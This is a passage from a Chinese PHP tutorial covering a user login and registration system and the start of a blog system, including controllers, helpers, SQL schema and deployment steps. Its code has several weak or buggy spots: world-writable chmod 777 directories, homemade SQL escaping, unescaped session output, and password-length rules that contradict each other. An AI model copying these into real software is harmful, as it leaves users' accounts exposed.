            if (!Security::validateCsrfToken($this->getPost('csrf_token'))) {
                throw new Exception('请求无效,请刷新页面重试');
            }

            // 创建用户
            $userId = $this->user->create($data);

            // 发送验证邮件
            $user = $this->user->findById($userId);
            $mailer = new Mailer();
            $mailer->sendVerificationEmail($user['email'], $user['email_verification_token']);

            $this->json([
                'success' => true,
                'message' => '注册成功!请查收邮件验证账户。'
            ]);

        } catch (Exception $e) {
            error_log("注册错误: " . $e->getMessage());
            $this->json(['success' => false, 'message' => $e->getMessage()]);
        }
    }

    // 显示登录页面
    public function login() {
        if ($this->getSession('user_id')) {
            $this->redirect('dashboard.php');
        }

        $this->render('auth/login.php');
    }

    // 处理登录请求
    public function doLogin() {
        if (!$this->isPost()) {
            $this->json(['success' => false, 'message' => '无效的请求方法']);
        }

        $email = trim($this->getPost('email'));
        $password = $this->getPost('password');
        $remember = $this->getPost('remember') === 'true';

        try {
            // 验证CSRF令牌
            if (!Security::validateCsrfToken($this->getPost('csrf_token'))) {
                throw new Exception('请求无效,请刷新页面重试');
            }

            // 验证用户
            $user = $this->user->authenticate($email, $password);

            if (!$user) {
                throw new Exception('邮箱或密码错误');
            }

            // 创建会话
            $this->createSession($user, $remember);

            $this->json([
                'success' => true,
                'message' => '登录成功',
                'redirect' => 'dashboard.php'
            ]);

        } catch (Exception $e) {
            $this->json(['success' => false, 'message' => $e->getMessage()]);
        }
    }

    // 邮箱验证
    public function verifyEmail() {
        $token = $this->getGet('token');

        if (!$token) {
            $this->setSession('error', '验证链接无效');
            $this->redirect('login.php');
        }

        if ($this->user->verifyEmail($token)) {
            $this->setSession('success', '邮箱验证成功,请登录');
        } else {
            $this->setSession('error', '验证链接无效或已过期');
        }

        $this->redirect('login.php');
    }

    // 显示忘记密码页面
    public function forgotPassword() {
        $this->render('auth/reset.php', ['step' => 1]);
    }

    // 处理忘记密码请求
    public function doForgotPassword() {
        if (!$this->isPost()) {
            $this->json(['success' => false, 'message' => '无效的请求方法']);
        }

        $email = trim($this->getPost('email'));

        // 验证邮箱格式
        if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            $this->json(['success' => false, 'message' => '邮箱格式错误']);
        }

        $user = $this->user->findByEmail($email);

        // 无论用户是否存在都显示成功信息(防止邮箱枚举攻击)
        if ($user) {
            try {
                $token = $this->passwordReset->createToken($user['id']);
                $mailer = new Mailer();
                $mailer->sendPasswordResetEmail($email, $token);
            } catch (Exception $e) {
                error_log("发送重置邮件错误: " . $e->getMessage());
            }
        }

        $this->json([
            'success' => true,
            'message' => '如果该邮箱已注册,您将收到密码重置链接'
        ]);
    }

    // 显示重置密码页面
    public function resetPassword() {
        $token = $this->getGet('token');
        $step = $this->getGet('step', 2);

        if (!$token) {
            $this->setSession('error', '重置链接无效');
            $this->redirect('login.php');
        }

        // 验证令牌
        $resetData = $this->passwordReset->validateToken($token);
        if (!$resetData) {
            $this->setSession('error', '重置链接无效或已过期');
            $this->redirect('login.php');
        }

        $this->render('auth/reset.php', [
            'step' => $step,
            'token' => $token,
            'email' => $resetData['email']
        ]);
    }

    // 处理重置密码
    public function doResetPassword() {
        if (!$this->isPost()) {
            $this->json(['success' => false, 'message' => '无效的请求方法']);
        }

        $token = $this->getPost('token');
        $password = $this->getPost('password');
        $confirmPassword = $this->getPost('confirm_password');

        // 验证密码
        if (strlen($password) < 6) {
            $this->json(['success' => false, 'message' => '密码至少6个字符']);
        }

        if ($password !== $confirmPassword) {
            $this->json(['success' => false, 'message' => '两次输入的密码不一致']);
        }

        // 验证令牌
        $resetData = $this->passwordReset->validateToken($token);
        if (!$resetData) {
            $this->json(['success' => false, 'message' => '重置链接无效或已过期']);
        }

        try {
            // 更新密码
            $this->user->updatePassword($resetData['user_id'], $password);

            // 标记令牌为已使用
            $this->passwordReset->markAsUsed($token);

            $this->json(['success' => true, 'message' => '密码重置成功']);

        } catch (Exception $e) {
            $this->json(['success' => false, 'message' => '密码重置失败']);
        }
    }

    // 登出
    public function logout() {
        // 销毁会话
        if (session_status() === PHP_SESSION_ACTIVE) {
            session_destroy();
        }

        // 清除Cookie
        if (isset($_COOKIE['remember_token'])) {
            setcookie('remember_token', '', time() - 3600, '/');
            unset($_COOKIE['remember_token']);
        }

        $this->redirect('login.php');
    }

    // 创建会话
    private function createSession($user, $remember = false) {
        // 生成会话ID
        $sessionId = bin2hex(random_bytes(32));
        $expires = time() + ($remember ? 86400 * 30 : 3600); // 30天或1小时

        // 存储会话
        $sql = "INSERT INTO user_sessions (session_id, user_id, ip_address, user_agent, expires_at)
                VALUES (?, ?, ?, ?, ?)";
        $stmt = $this->db->prepare($sql);
        $stmt->execute([
            $sessionId,
            $user['id'],
            $_SERVER['REMOTE_ADDR'],
            $_SERVER['HTTP_USER_AGENT'],
            date('Y-m-d H:i:s', $expires)
        ]);

        // 设置Session
        $this->setSession('user_id', $user['id']);
        $this->setSession('username', $user['username']);
        $this->setSession('email', $user['email']);
        $this->setSession('role', $user['role']);
        $this->setSession('session_id', $sessionId);

        // 设置记住登录Cookie
        if ($remember) {
            $token = bin2hex(random_bytes(32));
            $this->db->prepare("UPDATE users SET remember_token = ? WHERE id = ?")
                 ->execute([$token, $user['id']]);

            setcookie('remember_token', $token, $expires, '/', '', true, true);
        }
    }
}

5. 视图文件示例

注册页面 (src/views/auth/register.php)

<div class="container">
    <div class="row justify-content-center">
        <div class="col-md-6">
            <div class="card">
                <div class="card-header">
                    <h4 class="text-center">用户注册</h4>
                </div>
                <div class="card-body">
                    <?php if (isset($_SESSION['error'])): ?>
                        <div class="alert alert-danger">
                            <?php
                                echo $_SESSION['error'];
                                unset($_SESSION['error']);
                            ?>
                        </div>
                    <?php endif; ?>

                    <?php if (isset($_SESSION['success'])): ?>
                        <div class="alert alert-success">
                            <?php
                                echo $_SESSION['success'];
                                unset($_SESSION['success']);
                            ?>
                        </div>
                    <?php endif; ?>

                    <form id="registerForm">
                        <input type="hidden" name="csrf_token" value="<?php echo Security::generateCsrfToken(); ?>">

                        <div class="form-group mb-3">
                            <label for="username">用户名</label>
                            <input type="text" class="form-control" id="username" name="username" required>
                            <div class="invalid-feedback"></div>
                        </div>

                        <div class="form-group mb-3">
                            <label for="email">邮箱</label>
                            <input type="email" class="form-control" id="email" name="email" required>
                            <div class="invalid-feedback"></div>
                        </div>

                        <div class="form-group mb-3">
                            <label for="password">密码</label>
                            <input type="password" class="form-control" id="password" name="password" required>
                            <div class="invalid-feedback"></div>
                            <small class="text-muted">密码至少8个字符,包含字母和数字</small>
                        </div>

                        <div class="form-group mb-3">
                            <label for="confirm_password">确认密码</label>
                            <input type="password" class="form-control" id="confirm_password" name="confirm_password" required>
                            <div class="invalid-feedback"></div>
                        </div>

                        <div class="d-grid">
                            <button type="submit" class="btn btn-primary">注册</button>
                        </div>
                    </form>

                    <hr>
                    <div class="text-center">
                        <p>已有账户? <a href="login.php">立即登录</a></p>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>

<script>
document.getElementById('registerForm').addEventListener('submit', function(e) {
    e.preventDefault();

    const formData = new FormData(this);
    const submitBtn = this.querySelector('button[type="submit"]');
    const originalText = submitBtn.textContent;

    submitBtn.disabled = true;
    submitBtn.textContent = '注册中...';

    fetch('api/register.php', {
        method: 'POST',
        body: formData
    })
    .then(response => response.json())
    .then(data => {
        if (data.success) {
            alert(data.message);
            window.location.href = 'login.php';
        } else {
            // 显示错误信息
            if (data.errors) {
                Object.keys(data.errors).forEach(field => {
                    const input = document.querySelector(`[name="${field}"]`);
                    const feedback = input.nextElementSibling;
                    input.classList.add('is-invalid');
                    feedback.textContent = data.errors[field];
                });
            } else {
                alert(data.message);
            }
        }
    })
    .catch(error => {
        console.error('Error:', error);
        alert('注册失败,请稍后重试');
    })
    .finally(() => {
        submitBtn.disabled = false;
        submitBtn.textContent = originalText;
    });
});
</script>

6. 安全助手 (src/helpers/Security.php)

<?php
class Security {
    // 生成CSRF令牌
    public static function generateCsrfToken() {
        if (!isset($_SESSION['csrf_token'])) {
            $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
        }
        return $_SESSION['csrf_token'];
    }

    // 验证CSRF令牌
    public static function validateCsrfToken($token) {
        if (!isset($_SESSION['csrf_token'])) {
            return false;
        }

        return hash_equals($_SESSION['csrf_token'], $token);
    }

    // XSS过滤
    public static function escape($string) {
        return htmlspecialchars($string, ENT_QUOTES, 'UTF-8');
    }

    // SQL注入过滤(虽然使用预处理语句,但额外的保护总是好的)
    public static function escapeSql($value) {
        // 转义特殊字符
        $search = array("\\", "\x00", "\n", "\r", "'", '"', "\x1a");
        $replace = array("\\\\", "\\0", "\\n", "\\r", "\\'", '\\"', "\\Z");

        return str_replace($search, $replace, $value);
    }

    // 清理输入
    public static function cleanInput($input) {
        if (is_array($input)) {
            return array_map([self::class, 'cleanInput'], $input);
        }

        $input = trim($input);

        // 移除可能的恶意代码
        $input = preg_replace('/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/mi', '', $input);
        $input = preg_replace('/<iframe\b[^<]*(?:(?!<\/iframe>)<[^<]*)*<\/iframe>/mi', '', $input);

        return $input;
    }

    // 生成安全的随机字符串
    public static function generateRandomString($length = 32) {
        return bin2hex(random_bytes($length / 2));
    }

    // 验证文件上传
    public static function validateFileUpload($file, $allowedTypes = [], $maxSize = 5242880) { // 5MB
        $errors = [];

        // 检查文件是否存在
        if (!isset($file) || $file['error'] === UPLOAD_ERR_NO_FILE) {
            $errors[] = '没有选择文件';
            return $errors;
        }

        // 检查上传错误
        if ($file['error'] !== UPLOAD_ERR_OK) {
            $errors[] = '文件上传失败';
            return $errors;
        }

        // 检查文件大小
        if ($file['size'] > $maxSize) {
            $errors[] = '文件大小超过限制';
        }

        // 检查文件类型
        if (!empty($allowedTypes)) {
            $finfo = finfo_open(FILEINFO_MIME_TYPE);
            $mimeType = finfo_file($finfo, $file['tmp_name']);
            finfo_close($finfo);

            if (!in_array($mimeType, $allowedTypes)) {
                $errors[] = '文件类型不被允许';
            }
        }

        return $errors;
    }

    // 安全的文件名生成
    public static function generateSafeFilename($originalName) {
        $extension = pathinfo($originalName, PATHINFO_EXTENSION);
        $filename = pathinfo($originalName, PATHINFO_FILENAME);

        // 清理文件名
        $filename = preg_replace('/[^A-Za-z0-9_\-]/', '', $filename);
        $filename = substr($filename, 0, 50); // 限制长度

        // 生成唯一文件名
        $uniqueName = $filename . '_' . date('YmdHis') . '_' . uniqid();

        return $uniqueName . ($extension ? '.' . $extension : '');
    }
}

7. 邮件助手 (src/helpers/Mailer.php)

<?php
class Mailer {
    private $fromEmail;
    private $fromName;
    private $smtpHost;
    private $smtpPort;
    private $smtpUser;
    private $smtpPass;

    public function __construct() {
        $this->fromEmail = 'noreply@yourdomain.com';
        $this->fromName = '您的网站';

        // SMTP配置(使用PHPMailer)
        $this->smtpHost = 'smtp.yourdomain.com';
        $this->smtpPort = 587;
        $this->smtpUser = 'your-email@yourdomain.com';
        $this->smtpPass = 'your-password';
    }

    // 发送验证邮件
    public function sendVerificationEmail($toEmail, $token) {
        $subject = '验证您的邮箱地址';
        $verificationUrl = "http://" . $_SERVER['HTTP_HOST'] . "/verify-email.php?token={$token}";

        $message = $this->getEmailTemplate('verification', [
            'name' => '',
            'verification_url' => $verificationUrl,
            'token' => $token
        ]);

        return $this->send($toEmail, $subject, $message);
    }

    // 发送密码重置邮件
    public function sendPasswordResetEmail($toEmail, $token) {
        $subject = '重置您的密码';
        $resetUrl = "http://" . $_SERVER['HTTP_HOST'] . "/reset-password.php?token={$token}&step=2";

        $message = $this->getEmailTemplate('password_reset', [
            'reset_url' => $resetUrl,
            'token' => $token
        ]);

        return $this->send($toEmail, $subject, $message);
    }

    // 通用邮件发送方法
    private function send($to, $subject, $message) {
        // 邮件头
        $headers = "MIME-Version: 1.0" . "\r\n";
        $headers .= "From: {$this->fromName} <{$this->fromEmail}>" . "\r\n";
        $headers .= "Reply-To: {$this->fromEmail}" . "\r\n";
        $headers .= "Content-Type: text/html; charset=UTF-8" . "\r\n";

        // 使用PHPMailer的示例(需要安装PHPMailer)
        // 这里提供基本的mail()函数实现
        $success = mail($to, $subject, $message, $headers);

        if (!$success) {
            error_log("邮件发送失败: 收件人={$to}, 主题={$subject}");
        }

        return $success;
    }

    // 获取邮件模板
    private function getEmailTemplate($type, $data = []) {
        $templates = [
            'verification' => '
                <html>
                <head>
                    <meta charset="UTF-8">
                    <title>邮箱验证</title>
                </head>
                <body style="font-family: Arial, sans-serif; max-width: 600px; margin: 0 auto; padding: 20px;">
                    <h2 style="color: #333;">欢迎注册!</h2>
                    <p>感谢您注册我们的网站。请点击下面的链接验证您的邮箱地址:</p>
                    <p><a href="{verification_url}" style="background-color: #007bff; color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;">验证邮箱</a></p>
                    <p>如果按钮无法点击,请将以下链接复制到浏览器地址栏:</p>
                    <p style="word-break: break-all;">{verification_url}</p>
                    <p style="color: #666; font-size: 14px;">此链接24小时内有效。</p>
                </body>
                </html>
            ',

            'password_reset' => '
                <html>
                <head>
                    <meta charset="UTF-8">
                    <title>密码重置</title>
                </head>
                <body style="font-family: Arial, sans-serif; max-width: 600px; margin: 0 auto; padding: 20px;">
                    <h2 style="color: #333;">重置密码</h2>
                    <p>您请求重置密码。请点击下面的链接重置您的密码:</p>
                    <p><a href="{reset_url}" style="background-color: #dc3545; color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;">重置密码</a></p>
                    <p>如果按钮无法点击,请将以下链接复制到浏览器地址栏:</p>
                    <p style="word-break: break-all;">{reset_url}</p>
                    <p style="color: #666; font-size: 14px;">此链接1小时内有效。</p>
                    <p style="color: #666; font-size: 14px;">如果您没有请求重置密码,请忽略此邮件。</p>
                </body>
                </html>
            '
        ];

        $template = $templates[$type] ?? '';

        // 替换模板变量
        foreach ($data as $key => $value) {
            $template = str_replace('{' . $key . '}', $value, $template);
        }

        return $template;
    }
}

API接口

1. 注册API (public/api/register.php)

<?php
require_once __DIR__ . '/../src/controllers/AuthController.php';

header('Content-Type: application/json');

$controller = new AuthController();
$controller->doRegister();

2. 登录API (public/api/login.php)

<?php
require_once __DIR__ . '/../src/controllers/AuthController.php';

header('Content-Type: application/json');

$controller = new AuthController();
$controller->doLogin();

3. 忘记登录功能

// 在AuthController中添加
public function checkRememberLogin() {
    if ($this->getSession('user_id')) {
        return true;
    }

    $token = $_COOKIE['remember_token'] ?? null;
    if (!$token) {
        return false;
    }

    $sql = "SELECT id FROM users WHERE remember_token = ? AND status = 'active'";
    $stmt = $this->db->prepare($sql);
    $stmt->execute([$token]);

    $user = $stmt->fetch();

    if ($user) {
        $this->createSession($user, true);
        return true;
    }

    return false;
}

部署和测试

1. 部署步骤

# 1. 配置Apache
# 确保 .htaccess 文件正确配置

# 2. 设置目录权限
chmod 755 public/
chmod 755 src/
chmod 644 public/*.php
chmod 644 src/**/*.php
chmod 777 logs/
chmod 777 uploads/

# 3. 创建数据库
mysql -u root -p < database/create_tables.sql

# 4. 配置数据库连接
# 编辑 src/config/database.php 中的数据库配置

# 5. 测试功能
# 访问 http://yourdomain.com/ 开始测试

2. 功能测试清单

## 测试清单

### 注册功能
- [ ] 正常注册
- [ ] 邮箱重复注册
- [ ] 用户名重复注册
- [ ] 密码过短
- [ ] 密码不一致
- [ ] 邮件验证功能

### 登录功能
- [ ] 正常登录
- [ ] 错误密码登录
- [ ] 不存在的用户登录
- [ ] 账户未激活登录
- [ ] 记住登录功能

### 密码重置
- [ ] 发送重置邮件
- [ ] 验证重置链接
- [ ] 重置密码功能
- [ ] 链接过期处理

### 安全性
- [ ] SQL注入防护
- [ ] XSS防护
- [ ] CSRF防护
- [ ] 密码哈希存储
- [ ] 登录失败锁定

扩展功能建议

1. 增强功能

  • 手机号注册
  • 第三方登录(微信、QQ、GitHub)
  • 双因素认证(2FA)
  • 用户等级系统
  • 积分系统
  • 邀请码注册

2. 管理功能

  • 管理员后台
  • 用户管理
  • 权限管理
  • 操作日志
  • 数据统计

3. 安全增强

  • IP白名单
  • 设备管理
  • 异地登录提醒
  • 密码强度要求
  • 账户安全评分

总结

通过这个用户注册登录系统项目,你已经实践了:

  1. MVC架构设计:学会了如何组织代码结构
  2. 数据库操作:掌握了PDO和预处理语句
  3. 表单处理:学会了表单验证和错误处理
  4. 会话管理:理解了Session和Cookie的使用
  5. 安全编程:实践了各种安全防护措施
  6. 邮件发送:学会了邮件功能的实现
  7. 项目规划:掌握了完整的开发流程

这个项目为你后续的Web开发打下了坚实的基础。你可以基于这个项目继续开发更复杂的应用,如博客系统、电商网站等。

记住,安全性是Web应用的生命线。在实际开发中,要时刻保持安全意识,遵循最佳实践,保护用户的数据和隐私。

博客系统

项目概述

博客系统是一个功能丰富的Web应用程序,它将综合运用前面所学的所有PHP知识。通过开发博客系统,你将学习到更复杂的业务逻辑处理、文件上传、分页、搜索等高级功能。

项目目标

完成本项目后,你将能够:

  • 掌握复杂业务逻辑的处理方法
  • 学会实现文件上传功能
  • 掌握分页显示技术
  • 实现全文搜索功能
  • 学习富文本编辑器的集成
  • 掌握后台管理系统的开发
  • 学会实现缓存机制
  • 了解SEO优化技巧

功能特性

前台功能

  • 文章列表(分页、分类筛选)
  • 文章详情(阅读量统计、评论)
  • 分类和标签系统
  • 搜索功能(全文搜索)
  • 评论系统
  • 用户互动(点赞、收藏)

后台功能

  • 文章管理(发布、编辑、删除)
  • 分类标签管理
  • 评论管理
  • 用户管理
  • 系统设置
  • 数据统计

系统架构

目录结构

blog-system/
├── public/                    # Web根目录
│   ├── index.php            # 入口文件
│   ├── css/
│   │   ├── admin.css         # 后台样式
│   │   ├── blog.css          # 前台样式
│   │   └── editor.css        # 编辑器样式
│   ├── js/
│   │   ├── admin.js          # 后台脚本
│   │   ├── blog.js           # 前台脚本
│   │   └── editor.js         # 编辑器脚本
│   ├── uploads/
│   │   ├── images/           # 图片上传
│   │   └── files/            # 文件上传
│   └── assets/               # 静态资源
├── src/                      # 源代码
│   ├── config/
│   │   ├── database.php      # 数据库配置
│   │   ├── app.php           # 应用配置
│   │   └── constants.php     # 常量定义
│   ├── controllers/
│   │   ├── BaseController.php
│   │   ├── BlogController.php
│   │   ├── AdminController.php
│   │   ├── CommentController.php
│   │   └── UserController.php
│   ├── models/
│   │   ├── Database.php       # 数据库基类
│   │   ├── Blog.php           # 博客模型
│   │   ├── Category.php      # 分类模型
│   │   ├── Tag.php           # 标签模型
│   │   ├── Comment.php       # 评论模型
│   │   ├── User.php          # 用户模型
│   │   └── Upload.php        # 文件上传模型
│   ├── views/
│   │   ├── layouts/
│   │   │   ├── header.php
│   │   │   ├── footer.php
│   │   │   ├── admin_header.php
│   │   │   └── admin_footer.php
│   │   ├── blog/
│   │   │   ├── index.php      # 首页
│   │   │   ├── article.php    # 文章详情
│   │   │   ├── category.php   # 分类页面
│   │   │   ├── search.php     # 搜索页面
│   │   │   └── tag.php        # 标签页面
│   │   └── admin/
│   │       ├── dashboard.php  # 仪表板
│   │       ├── articles.php   # 文章管理
│   │       ├── categories.php # 分类管理
│   │       ├── comments.php   # 评论管理
│   │       ├── users.php      # 用户管理
│   │       └── settings.php   # 系统设置
│   └── helpers/
│       ├── Validator.php     # 验证助手
│       ├── Pagination.php    # 分页助手
│       ├── FileManager.php   # 文件管理
│       ├── Cache.php         # 缓存助手
│       └── SEO.php           # SEO助手
├── database/
│   ├── create_tables.sql      # 建表SQL
│   └── seed_data.sql         # 测试数据
├── cache/                     # 缓存目录
├── logs/                      # 日志目录
└── README.md

数据库设计

1. 创建数据库表

-- database/create_tables.sql

-- 文章表
CREATE TABLE articles (
    id INT PRIMARY KEY AUTO_INCREMENT,
    title VARCHAR(255) NOT NULL,
    slug VARCHAR(255) UNIQUE NOT NULL,
    content LONGTEXT NOT NULL,
    excerpt TEXT,
    featured_image VARCHAR(255),
    author_id INT NOT NULL,
    status ENUM('draft', 'published', 'trash') DEFAULT 'draft',
    comment_status ENUM('open', 'closed') DEFAULT 'open',
    view_count INT DEFAULT 0,
    like_count INT DEFAULT 0,
    is_featured BOOLEAN DEFAULT FALSE,
    seo_title VARCHAR(255),
    seo_description TEXT,
    seo_keywords VARCHAR(255),
    published_at TIMESTAMP NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    FOREIGN KEY (author_id) REFERENCES users(id) ON DELETE CASCADE
);

-- 分类表
CREATE TABLE categories (
    id INT PRIMARY KEY AUTO_INCREMENT,
    name VARCHAR(100) NOT NULL,
    slug VARCHAR(100) UNIQUE NOT NULL,
    description TEXT,
    parent_id INT NULL,
    sort_order INT DEFAULT 0,
    article_count INT DEFAULT 0,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    FOREIGN KEY (parent_id) REFERENCES categories(id) ON DELETE SET NULL
);

-- 标签表
CREATE TABLE tags (
    id INT PRIMARY KEY AUTO_INCREMENT,
    name VARCHAR(100) NOT NULL,
    slug VARCHAR(100) UNIQUE NOT NULL,
    color VARCHAR(7) DEFAULT '#007bff',
    article_count INT DEFAULT 0,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

-- 文章分类关联表
CREATE TABLE article_categories (
    id INT PRIMARY KEY AUTO_INCREMENT,
    article_id INT NOT NULL,
    category_id INT NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    FOREIGN KEY (article_id) REFERENCES articles(id) ON DELETE CASCADE,
    FOREIGN KEY (category_id) REFERENCES categories(id) ON DELETE CASCADE,
    UNIQUE KEY unique_article_category (article_id, category_id)
);

-- 文章标签关联表
CREATE TABLE article_tags (
    id INT PRIMARY KEY AUTO_INCREMENT,
    article_id INT NOT NULL,
    tag_id INT NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    FOREIGN KEY (article_id) REFERENCES articles(id) ON DELETE CASCADE,
    FOREIGN KEY (tag_id) REFERENCES tags(id) ON DELETE CASCADE,
    UNIQUE KEY unique_article_tag (article_id, tag_id)
);

-- 评论表
CREATE TABLE comments (
    id INT PRIMARY KEY AUTO_INCREMENT,
    article_id INT NOT NULL,
    user_id INT NULL,
    parent_id INT NULL,
    author_name VARCHAR(100),
    author_email VARCHAR(100),
    author_ip VARCHAR(45),
    content TEXT NOT NULL,
    status ENUM('pending', 'approved', 'spam', 'trash') DEFAULT 'pending',
    like_count INT DEFAULT 0,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
    FOREIGN KEY (article_id) REFERENCES articles(id) ON DELETE CASCADE,
    FOREIGN KEY (user_id) REFERENCES users(id) ON DELETE SET NULL,
    FOREIGN KEY (parent_id) REFERENCES comments(id) ON DELETE CASCADE
);

-- 用户表(复用用户认证系统的表)
-- 创建索引
CREATE INDEX idx_articles_status ON articles(status);
CREATE INDEX idx_articles_published_at ON articles(published_at);
CREATE INDEX idx_articles_author_id ON articles(author_id);
CREATE INDEX idx_articles_slug ON articles(slug);
CREATE INDEX idx_articles_featured ON articles(is_featured);
CREATE INDEX idx_categories_parent_id ON categories(parent_id);
CREATE INDEX idx_categories_slug ON categories(slug);
CREATE INDEX idx_tags_slug ON tags(slug);
CREATE INDEX idx_comments_article_id ON comments(article_id);
CREATE INDEX idx_comments_status ON comments(status);
CREATE INDEX idx_comments_created_at ON comments(created_at);

-- 创建全文索引(用于搜索)
CREATE FULLTEXT INDEX ft_articles_title ON articles(title);
CREATE FULLTEXT INDEX ft_articles_content ON articles(content);
CREATE FULLTEXT INDEX ft_articles_full ON articles(title, content);

核心代码实现

1. 文章模型 (src/models/Blog.php)

<?php
require_once __DIR__ . '/../config/database.php';

class Blog extends BaseController {

    // 获取文章列表
    public function getArticles($page = 1, $limit = 10, $category = null, $tag = null) {
        $offset = ($page - 1) * $limit;
        $params = [];
        $whereConditions = ["a.status = 'published'"];

        // 添加分类筛选
        if ($category) {
            $whereConditions[] = "ac.category_id = ?";
            $params[] = $category;
        }

        // 添加标签筛选
        if ($tag) {
            $whereConditions[] = "at.tag_id = ?";
            $params[] = $tag;
        }

        $whereClause = "WHERE " . implode(" AND ", $whereConditions);

        $sql = "SELECT DISTINCT a.*, u.username as author_name,
                       GROUP_CONCAT(DISTINCT c.name) as categories,
                       GROUP_CONCAT(DISTINCT t.name) as tags
                FROM articles a
                LEFT JOIN users u ON a.author_id = u.id
                LEFT JOIN article_categories ac ON a.id = ac.article_id
                LEFT JOIN categories c ON ac.category_id = c.id
                LEFT JOIN article_tags at ON a.id = at.article_id
                LEFT JOIN tags t ON at.tag_id = t.id
                {$whereClause}
                GROUP BY a.id
                ORDER BY a.published_at DESC
                LIMIT ? OFFSET ?";

        $params[] = $limit;
        $params[] = $offset;

        $stmt = $this->db->prepare($sql);
        $stmt->execute($params);

        return $stmt->fetchAll();
    }

    // 获取文章总数
    public function getArticlesCount($category = null, $tag = null) {
        $params = [];
        $whereConditions = ["a.status = 'published'"];

        if ($category) {
            $whereConditions[] = "ac.category_id = ?";
            $params[] = $category;
        }

        if ($tag) {
            $whereConditions[] = "at.tag_id = ?";
            $params[] = $tag;
        }

        $whereClause = "WHERE " . implode(" AND ", $whereConditions);

        $sql = "SELECT COUNT(DISTINCT a.id) as count
                FROM articles a
                LEFT JOIN article_categories ac ON a.id = ac.article_id
                LEFT JOIN article_tags at ON a.id = at.article_id
                {$whereClause}";

        $stmt = $this->db->prepare($sql);
        $stmt->execute($params);

        return $stmt->fetch()['count'];
    }

    // 获取单篇文章
    public function getArticleById($id) {
        $sql = "SELECT a.*, u.username as author_name,
                       GROUP_CONCAT(DISTINCT c.name) as categories,
                       GROUP_CONCAT(DISTINCT c.id) as category_ids,
                       GROUP_CONCAT(DISTINCT t.name) as tags,
                       GROUP_CONCAT(DISTINCT t.id) as tag_ids
                FROM articles a
                LEFT JOIN users u ON a.author_id = u.id
                LEFT JOIN article_categories ac ON a.id = ac.article_id
                LEFT JOIN categories c ON ac.category_id = c.id
                LEFT JOIN article_tags at ON a.id = at.article_id
                LEFT JOIN tags t ON at.tag_id = t.id
                WHERE a.id = ?
                GROUP BY a.id";

        $stmt = $this->db->prepare($sql);
        $stmt->execute([$id]);

        $article = $stmt->fetch();

        // 转换分类和标签为数组
        if ($article) {
            $article['categories'] = $article['categories'] ?
                array_combine(
                    explode(',', $article['category_ids']),
                    explode(',', $article['categories'])
                ) : [];
            $article['tags'] = $article['tags'] ?
                array_combine(
                    explode(',', $article['tag_ids']),
                    explode(',', $article['tags'])
                ) : [];
        }

        return $article;
    }

    // 通过slug获取文章
    public function getArticleBySlug($slug) {
        $sql = "SELECT a.*, u.username as author_name
                FROM articles a
                LEFT JOIN users u ON a.author_id = u.id
                WHERE a.slug = ? AND a.status = 'published'";

        $stmt = $this->db->prepare($sql);
        $stmt->execute([$slug]);

        return $stmt->fetch();
    }

    // 创建文章
    public function createArticle($articleData) {
        // 生成唯一的slug
        $slug = $this->generateUniqueSlug($articleData['title']);

        $sql = "INSERT INTO articles (title, slug, content, excerpt, featured_image,
                                       author_id, status, seo_title, seo_description,
                                       seo_keywords, is_featured, published_at, created_at)
                VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, NOW())";

        $params = [
            $articleData['title'],
            $slug,
            $articleData['content'],
            $articleData['excerpt'],
            $articleData['featured_image'],
            $articleData['author_id'],
            $articleData['status'],
            $articleData['seo_title'],
            $articleData['seo_description'],
            $articleData['seo_keywords'],
            $articleData['is_featured'] ?? false,
            $articleData['published_at'] ?? null
        ];

        $stmt = $this->db->prepare($sql);
        $stmt->execute($params);

        $articleId = $this->db->lastInsertId();

        // 保存分类和标签
        if (!empty($articleData['categories'])) {
            $this->saveArticleCategories($articleId, $articleData['categories']);
        }

        if (!empty($articleData['tags'])) {
            $this->saveArticleTags($articleId, $articleData['tags']);
        }

        return $articleId;
    }

    // 更新文章
    public function updateArticle($id, $articleData) {
        // 如果标题改变,重新生成slug
        if (isset($articleData['title']) && $articleData['title']) {
            $articleData['slug'] = $this->generateUniqueSlug($articleData['title'], $id);
        }

        $fields = [];
        $params = [];

        $updateFields = [
            'title', 'slug', 'content', 'excerpt', 'featured_image',
            'status', 'seo_title', 'seo_description',
            'seo_keywords', 'is_featured'
        ];

        foreach ($updateFields as $field) {
            if (isset($articleData[$field])) {
                $fields[] = "{$field} = ?";
                $params[] = $articleData[$field];
            }
        }

        if (isset($articleData['published_at'])) {
            $fields[] = "published_at = ?";
            $params[] = $articleData['published_at'];
        }

        $fields[] = "updated_at = NOW()";
        $params[] = $id;

        $sql = "UPDATE articles SET " . implode(', ', $fields) . " WHERE id = ?";
        $stmt = $this->db->prepare($sql);
        $result = $stmt->execute($params);

        // 更新分类和标签
        if (isset($articleData['categories'])) {
            $this->saveArticleCategories($id, $articleData['categories']);
        }

        if (isset($articleData['tags'])) {
            $this->saveArticleTags($id, $articleData['tags']);
        }

        return $result;
    }

    // 删除文章
    public function deleteArticle($id) {
        // 开始事务
        $this->db->beginTransaction();

        try {
            // 删除文章分类关联
            $this->db->prepare("DELETE FROM article_categories WHERE article_id = ?")
                 ->execute([$id]);

            // 删除文章标签关联
            $this->db->prepare("DELETE FROM article_tags WHERE article_id = ?")
                 ->execute([$id]);

            // 删除文章
            $this->db->prepare("DELETE FROM articles WHERE id = ?")
                 ->execute([$id]);

            $this->db->commit();
            return true;

        } catch (Exception $e) {
            $this->db->rollBack();
            return false;
        }
    }

    // 搜索文章
